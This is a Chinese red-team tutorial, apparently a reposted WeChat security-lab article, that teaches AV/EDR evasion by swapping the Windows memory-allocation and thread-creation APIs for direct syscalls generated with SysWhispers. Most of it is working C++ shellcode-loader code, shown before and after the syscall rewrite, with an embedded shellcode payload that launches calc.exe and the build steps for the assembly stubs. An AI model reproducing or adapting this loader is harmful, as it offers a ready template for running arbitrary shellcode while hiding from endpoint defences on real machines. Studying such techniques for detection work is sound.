前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >红队免杀培训-手把手教使用系统调用(上)

红队免杀培训-手把手教使用系统调用(上)

作者头像
Gamma实验室
发布2022-03-29 17:01:43
9980
发布2022-03-29 17:01:43
举报
文章被收录于专栏:Gamma安全实验室Gamma安全实验室

前言

为了应对,AV/EDR对一些常规windows的api的监控,使用的github项目为Syswhispers,其实CS官方有个付费工具包叫 CobaltStrike Artifact,可以定制化生成有效负载,当然其中也包括了使用系统调用,替换掉beacon里面的api函数,当然付费真的用不起,对于穷人来说,只能靠手动冲!

实现

在此之前,我们得想一想我们该替换什么api,我们需要用到什么api,看以下加载器的示例:

代码语言:javascript
复制
#include <iostream>
#include <Windows.h>

unsigned char calc_payload[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";
unsigned int calc_len = 276;

int main()
{
    DWORD oldprotect = 0;
    LPVOID base_addr = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    RtlMoveMemory(base_addr, calc_payload, calc_len);
    auto vp = VirtualProtect(base_addr, calc_len, PAGE_EXECUTE_READ, &oldprotect);;
    auto ct = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)base_addr, 0, 0, 0);
    WaitForSingleObject(ct, -1);
    free(base_addr);
}

上面加载器代码使用了VirtualAlloc,VirtualProtect,CreateThread三个常用的Windows api,也是edr最常关注的api,对于这些函数,实际上很容易搜索到,最终调用 kernel32 中的NtAllocateVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx函数。

我们利用Syswhispers,就不用自己去找系统调用号了,完全可以忽视这个步骤,直接一键生成相关的.asm和.h 文件。

代码语言:javascript
复制
python3 Syswhispers.py -f NtCreateThreadEx,NtProtectVirtualMemory,NtAllocateVirtualMemory -o syscal

这里为啥需要.asm文件:

  1. 在X86平台上,我们应该使用混编方式执行汇编指令;
  2. 在X64平台上,我们应该使用.asm文件添加汇编函数。

这时候就需要判断位数,为了让一段包含汇编指令的代码能够同时在X86和X64平台上编译通过,我们要有办法让编译器自己判断硬件平台。编译器提供了名为_M_AMD64的宏,只有在X64平台上,这个宏才是被定义的

代码语言:javascript
复制
#ifdef _M_AMD64
  // 这是x64平台
#else
  // 这是x86平台
#endif

还有一种写法:

代码语言:javascript
复制
#include <windows.h>

#ifdef _AMD64_
  // 这是x64平台
#else
  // 这是x86平台
#endif

但是这里用不上,我只是想说.asm文件完全可以不用,可以用内联汇编的方式进行编译。

首先,确保你当前的平台是x64平台。切记不要对x86平台下的.asm文件做任何修改,因为.asm文件在x86平台上是无法编译的,添加asm文件,是添加项目,而不是复制粘贴,然后点击属性,进行如下配置:

首先在“命令行”项中,我们应当输入指定的编译语句:ml64 /c %(fileName).asm。这条命令的意思是使用ml64.exe对.asm文件进行编译,在“输出”项中,我们设定输出文件为:%(fileName).obj,即编译后所生成的中间文件,编译的项目就包含了.asm文件了,看一下头文件的定义:

发现NtAllocateVirtualMemory和 NtProtectVirtualMemory 都需要一个ProcessHandle,我们用如下代码获得当前进程句柄。

代码语言:javascript
复制
HANDLE hProc = GetCurrentProcess();

同理NtProtectVirtualMemory也好替换。

最难的是NtCreateThreadEx,其实之前我们跟过流程的人都知道,在调用NtCreateThreadEx会设置很多环境变量,他的定义如下:

代码语言:javascript
复制
EXTERN_C NTSTATUS NtCreateThreadEx(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ProcessHandle,
IN PVOID StartRoutine,
IN PVOID Argument OPTIONAL,
IN ULONG CreateFlags,
IN SIZE_T ZeroBits,
IN SIZE_T StackSize,
IN SIZE_T MaximumStackSize,
IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);

我们必须创建一个新的 HANDLE 变量:

代码语言:javascript
复制
HANDLE thandle = NULL;

调用实例:

代码语言:javascript
复制
NTSTATUS ct = NtCreateThreadEx(
  &thandle, 
  GENERIC_EXECUTE,
  NULL,
  hProc,
  base_addr,
  NULL,
  FALSE,
  0,
  0,
  0,
  NULL
);

然后完整代码:

代码语言:javascript
复制
#include "syscall.h"
#include <Windows.h>
#include<stdio.h>
unsigned char calc_payload[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";
unsigned int calc_len = 276;

int main()
{
    DWORD oldprotect = 0;
    HANDLE hProc = GetCurrentProcess();
    LPVOID base_addr = NULL;
    HANDLE thandle = NULL;

    NTSTATUS NTAVM = NtAllocateVirtualMemory(
        hProc, 
        &base_addr, 
        0, 
        (PSIZE_T)&calc_len, 
        MEM_COMMIT | MEM_RESERVE, 
        PAGE_READWRITE);
    RtlMoveMemory(base_addr, calc_payload, calc_len);
    NTSTATUS NTPVM = NtProtectVirtualMemory(
        hProc, 
        &base_addr, 
        (PSIZE_T)&calc_len, 
        PAGE_EXECUTE_READ, 
        &oldprotect); 

    NTSTATUS ct = NtCreateThreadEx(&thandle, GENERIC_EXECUTE, NULL, hProc, base_addr, NULL, FALSE, 0, 0, 0, NULL);
    if (ct == 0)
    {   
          printf("[*] -- shellcode start succesful!");
        free(base_addr);
        return 0;
    }
    printf("[*] -- shellcode start error!");
    free(base_addr);
    return 1;
}

演示,有手就行:

杀软咱就不测了,自行下去测试,咱就是讲思路,手把手教你使用系统调用绕edr,有些系统调用api Syswhispers没有,那么就只能自己去跟,然后去找系统调用号,预计下篇进行讲解。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-03-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Gamma安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 实现
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档